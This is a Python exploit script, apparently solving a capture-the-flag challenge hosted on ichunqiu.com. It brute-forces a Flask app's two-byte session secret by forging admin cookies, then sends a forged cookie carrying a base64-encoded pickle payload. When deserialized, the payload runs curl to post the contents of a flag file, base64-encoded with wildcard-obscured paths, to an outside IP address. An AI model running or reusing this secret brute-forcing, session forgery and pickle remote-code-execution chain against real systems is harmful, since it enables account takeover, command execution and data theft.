1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
| # coding:utf-8
import requests
from abc import ABC, abstractmethod
from flask.sessions import SecureCookieSessionInterface
import ast
from itsdangerous import base64_decode
import zlib
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
import threading
import time
def job1(start,stop):
data = '{"user":"admin"}'
for k in range(start,stop):
key = k.to_bytes(2,'big').hex()
cookie = {
"session": FSCM.encode(key, data)
}
resp = requests.get(url="http://eci-2ze5la2t5773gt9jqm0e.cloudeci1.ichunqiu.com:8888", cookies=cookie, timeout=5)
if 'Set-Cookie' not in resp.headers:
print(key,cookie,k)
exit()
else:
print(k,resp.text,resp.headers['Set-Cookie'])
resp.close()
if __name__ == "__main__":
# # 创建一个新的线程
# new_thread1 = threading.Thread(target=job1, name="T1",args=(12983,16384,))
# new_thread2 = threading.Thread(target=job1, name="T2",args=(16384,32768,))
# new_thread3 = threading.Thread(target=job1, name="T3",args=(32768,49152,))
# new_thread4 = threading.Thread(target=job1, name="T4",args=(49152,65536,))
# # 启动新线程
# new_thread1.start()
# new_thread2.start()
# new_thread3.start()
# new_thread4.start()
# print("当前线程数量为", threading.active_count())
# print("所有线程的具体信息", threading.enumerate())
# print("当前线程具体信息", threading.current_thread())
# # 448f {'session': 'eyJ1c2VyIjoiYWRtaW4ifQ.YyVArg.ZY1iuf3_Iwt6NuKcCAAO0k1E4Ww'} 17551
key = "448f"
data = '{"user":"admin","ser_data":"KGNvcwpzeXN0ZW0KUydjdXJsIC1kIHg9YGNhdCBmbGFnfC91c3IvPz9uLz9hc2U2NGAgaHR0cDovLzY3LjIxNi4yMDAuMTk0Ojg4ODgnCm9zLg=="}'
cookie = {
"session": FSCM.encode(key, data)
}
resp = requests.get(url="http://eci-2ze5la2t5773gt9jqm0e.cloudeci1.ichunqiu.com:8888/admin", cookies=cookie)
print(resp.text)
|